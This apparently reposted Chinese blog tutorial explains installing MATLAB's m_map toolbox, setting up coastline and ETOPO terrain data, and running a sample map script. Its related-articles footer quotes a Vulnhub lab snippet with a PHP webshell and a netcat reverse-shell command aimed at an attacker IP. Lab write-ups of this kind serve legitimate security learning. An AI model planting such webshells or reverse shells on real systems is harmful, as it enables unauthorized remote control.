00 - matlab m_map地学绘图工具安装及简单使用教程

news2024/11/27 1:34:10

00 - matlab m_map地学绘图工具安装及简单使用教程

  • 0. 引言
  • 1. m_map工具的获取及配置过程
  • 2. 绘图示例
  • 3. 结语


0. 引言

  m_map是MATLAB中的一个绘图工具包,用于绘制地图和地理数据它提供了一系列函数,可以用来绘制地理投影、添加地理特征、绘制等值线图等。它支持许多不同的地图投影类型,包括等距柱状投影、墨卡托投影等,可以选择合适的投影来显示地理数据。还支持在地图上绘制地理特征,如海岸线、河流、城市等。它还可以绘制等值线图,用不同颜色表示不同的数值。

  m_map绘图工具和GMT类似,其优势在于可以与MATLAB的其他绘图函数结合使用,可以在地图上添加其他图形、标注、色彩等。使用m_map绘图工具,可以方便地展示地理数据,并进行地理空间分析。它在地理科学、环境科学、气象学等领域广泛应用。
  本篇介绍下m_map绘图工具在Matlab上的配置过程,后续篇节将详细介绍m_map中的各个函数并提供简单案例。😜

1. m_map工具的获取及配置过程

  (1) 从官网下载M_map的程序包,下图标注的两个任意下一个都可以;


  (2) 将下载的压缩文件解压,解压后能看到文件中多为*.m函数,要想自由调用这些函数,需要将其配置到matlab环境中。将解压缩的文件夹(m_map)复制到Matlab的“…\matlab\install\toolbox”下;


  (3) 在matlab中按照下图图示顺序,设置路径,将m_map在toolbox文件夹下的路径设置到Matlab环境中;


  (4) 到此,应该就可以在Matlab中自由调用m_map中的函数了,可以在Matlab输入栏中输入">>help m_map"检测m_map是否安装成功,如有类似下面内容弹出,就说明安装成功了;


  (5) 添加基础数据,如地形数据海岸线数据:步骤(2)图示可以看到,m_map压缩包中有个data文件夹,但文件夹并没有内容,需要自行下载并配置基础数据方便后续绘图。m_map官网的用户指南中有提供地形数据、海岸线数据等一些基础数据的下载路径和配置方法。

海岸线数据😜😜

   a)根据用户指南(M_Map Users Guide (ubc.ca)),在网站下载高精度海岸线数据。下载界面如下:


   b)在“\toolbox\m_map\data\”下新建Coastline文件夹,表明该夹子只存储海岸线数据,方便对绘图数据进行管理,然后将下载的“gshhg-bin-2.3.7”数据解压到Coastline文件夹下;


   c) m_map工具包含了许多的功能函数“*.m”,其中m_gshhs.m和绘制海岸线有关,m_gshhs.m中的“FILNAME”变量为海岸线数据路径,将其替换为 b) 中的路径,如下图所示:


   d) 经过上面3步,加载海岸线数据就搞定了。

加载地形数据😜😜

   a) 从帮助文档浏览下面内容,可以看到有下载ETOPO1/2高精度地形数据的地址;


   b) 进入ETOPO1的下载界面如下,然后有两种数据可以获取,差别在字节,随便下载一种即可;


   c) 和海岸线数据的处理一样,解压并在“m_map\data”下创建“etopo2”文件夹存储数据,然后同样找到加载地形数据的*.m文件,修改里面的默认路径为etopo2的绝对路径。然后地形数据的加载也大公搞成了。

![





](https://img-blog.csdnimg.cn/direct/41f350df1c094b0fb90f6103d242d671.png)

2. 绘图示例

   经过上面一顿操作,m_map基本就配置好了,用户指南中有许多案例就可以尝试运行了,下面是改的一个案例,主要用到了绘制海岸线、绘制地形数据的功能,同时也能验证上面的数据是否加载成功。

figname='gshhs3';
figure
m_proj('mercator','long',[69.5 105.5],'lat',[24.5 40.5]); % 设置地图投影(墨卡托)
 
caxis([2000 8000]) 
colormap([m_colmap('land')])  % 绘图使用什么颜色bar,以及颜色bar的数据范围
hc=colorbar;
set(get(hc,'title'),'string','Elevation(m)') % 设置颜色bar
 
m_etopo2('shadedrelief','lightangle',45); % 绘制地形数据
m_gshhs('ic','color',[.5 .5 .5])  % 中等分辨率海岸线
m_gshhs('ir2','color','b')        % 中等分辨率河流
 
m_grid('box','fancy','tickdir','in','gridlines','no','fontsize',12) %显示网格
 
set(gcf,'position',[100 100 800 600])
print('-dpng','-r400',[figname,'.png'])

3. 结语

   通过本文希望可以帮助你解决m_map工具安装上的问题,后面还会对m_map工具中各函数进行介绍。

😜

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1825905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

wps-文档-js宏-批量修改表格格式

目录 前言开启JS宏我的脚本参考API文档 前言 由于需要修改word的表格的格式,一个一个的修改太慢了,所以需要通过宏的方式来修改,需要注意的是低版本可能没有JS宏… 开启JS宏 切换到工具–>点击开发工具 点击之后功能栏会变化成这样 选…

Fluent固体运动的设置方法(1)

1 概述 固体运动是某些CFD问题中必须要考虑的因素,如风扇的旋转。相关问题可分类如下: 问题类型是否为刚体运动规律是否已知无特定称呼YY六自由度运动问题YN流固耦合问题NN 在 Fluent 中,有多种方法表征固体运动,包括&#xff1…

js编程环境配置-vscode

1、安装Node.js 官网下载 选择适合你Windows系统架构(32位或64位)的安装包。windows系统选择“Windows Installer (.msi)”或“Windows Binary (.exe)”进行下载。 双击下载的.msi或.exe文件进行安装。 在cmd中输入node --version和npm --version&…

word中根据上级设置下级编号

如上级是3.13.4,如下图 现在想设置下级编码跟随上级逐级显示成3.13.4.1 则在标题功能说明这点击顶部菜单栏的编号按钮,如下图 然后,选择自定义编号-自定义列表-自定义按钮 然后重点是编号格式这一栏,需要手动填写下前三级的编号&…

统计信号处理基础 习题解答10-16

题目: 对于例10.1,证明由观察数据得到的信息是: 解答: 基于习题10-15的结论,,那么: 而根据习题10-15的结论: 此条件概率也是高斯分布,即: 根据相同的计算&a…

Hexo 搭建个人博客(ubuntu20.04)

1 安装 Nodejs 和 npm 首先登录NodeSource官网: Nodesource Node.js DEB 按照提示安装最新的 Node.js 及其配套版本的 npm。 (1)以 sudo 用户身份运行下面的命令,下载并执行 NodeSource 安装脚本: sudo curl -fsSL…

训练营第三十六天| 337.打家劫舍 III121. 买卖股票的最佳时机

337.打家劫舍 III 力扣题目链接(opens new window) 在上次打劫完一条街道之后和一圈房屋后,小偷又发现了一个新的可行窃的地区。这个地区只有一个入口,我们称之为“根”。 除了“根”之外,每栋房子有且只有一个“父“房子与之相连。一番侦察…

设计模式- 责任链模式Chain of Responsibility(行为型)

责任链模式(Chain of Responsibility) 责任链模式是一种行为模式,它为请求创建一个接收者对象的链,解耦了请求的发送者和接收者。责任链模式将多个处理器串联起来形成一条处理请求的链。 图解 角色 抽象处理者: 一个处理请求的接口&#xf…

Portraiture 2024软件怎么下载安装? 【详细安装图文教程】

简介: Portraiture是一款智能磨皮的滤镜插件,该插件能够给Photoshop和Lightroom添加智能磨皮美化功能,可以帮助用户快速对图片中的人物的皮肤、头发、眉毛等部位进行美化,省去了手动调整的麻烦,大大提高P图的效率。 安…

基于System-Verilog的FPGA设计与仿真

一、System-Verilog System Verilog的发展 SystemVerilog 的出现是为了因应日益复杂的数位电路设计和验证需求。虽然Verilog HDL 在早期的数位电路设计中得到了广泛应用,但随着技术的发展和电路复杂度的增加,Verilog HDL 在某些方面已经显得有些不足以满…

Cocos2d-x 4.0 工程首次建立与编译(Mac m1)

Mac m1芯片下将cocos2d-x升级至4.0版本后,官方剔除了不同平台的工程以及变更了编译方式,直接使用cmake构建,需要做一些前置的准备工作。 环境准备: 项 版本 备注 MacOS10.3 or laterpython2.7.16(建议>2.7.10)cmake3.29.3Do…

LangGraph实战:从零分阶打造人工智能航空客服助手

❝ 通过本指南,你将学习构建一个专为航空公司设计的客服助手,它将协助用户查询旅行信息并规划行程。在此过程中,你将掌握如何利用LangGraph的中断机制、检查点技术以及更为复杂的状态管理功能,来优化你的助手工具,同时…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

在 Windows 环境下安装mysql步骤(MySQL)

文章目录 一、下载 MySQL二、解压安装包到磁盘三、配置环境&#xff08;管理员权限&#xff09;四、安装 MySQL&#xff08;管理员权限&#xff09; 一、下载 MySQL 如下图&#xff1a;为你的电脑下载对应操作系统的 MySQL 安装包 二、解压安装包到磁盘 三、配置环境&#x…

SD3开源:AI绘画的新纪元,出图效果巨好,不容错过!(附教程)

大家好&#xff0c;我是画画的小强。 这两天&#xff0c;Stability AI 将史上最牛的AI绘画模型SD3开源了&#xff0c;真是有格局&#xff01; 虽说只是中杯的20亿参数版本&#xff0c;但我已经很满足了&#xff0c;再高的版本&#xff0c;我这普通的16G 4070Ti Super 显卡也跑…

【数据结构】第十六弹---C语言实现希尔排序

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、希尔排序( 缩小增量排序 ) 1.1、预排序实现 1.2、希尔排序代码实现 1.3、代码测试 1.4、时空复杂度分析 1.5、性能比较 总结 上一弹我们…

基于mybatis plus增加较复杂自定义查询以及分页

基于java技术&#xff0c;spring-boot和mybatis-plus搭建后台框架是现在非常流行的技术。 其中关于多表关联查询的实现相对比较复杂&#xff0c;在这里进行记录以供开发人员参考。 以一个系统中实际的实体类为查询为例&#xff0c; T3dMaterial实体其中的fileType属性及字段…

C#批量设置海康和大华录像机NVR,GB28181的通道编码.

我经常要把小区海康或者大华的硬盘录像机推送到自己搭建的gb28181监控平台,每次几百个摄像头编码,有点头大,就用了1个多周写了个批量设置海康和大华硬盘录像机的通道编码的程序,海康和大华的SDK简直不是人看的. 太乱了. 大华读取通道编码的代码 /// <summary>/// 获取通道…

找我设计官网的不多了,看到漂亮大气的,还是忍不住分享出来。

现在有客户找我做官网设计&#xff0c;我说&#xff1a;要么搞个高大上个性化定制的&#xff0c;要么就选个模板得了&#xff0c;几千元的网站不上不下&#xff0c;不如不做。 分享一批高大上的网站给老铁们看看。

【课程系列01】某乎的AI大模型全栈工程师-第4期

网盘链接 链接&#xff1a;https://pan.baidu.com/s/1QLkRW_DmIm1q9XvNiOGwtQ --来自百度网盘超级会员v6的分享 课程目标 AI大模型全栈工程师是指具备人工智能领域全方位能力的工程师&#xff0c;特别是在大模型开发和应用方面具有深厚的专业知识和技能。以下是关于AI大模型…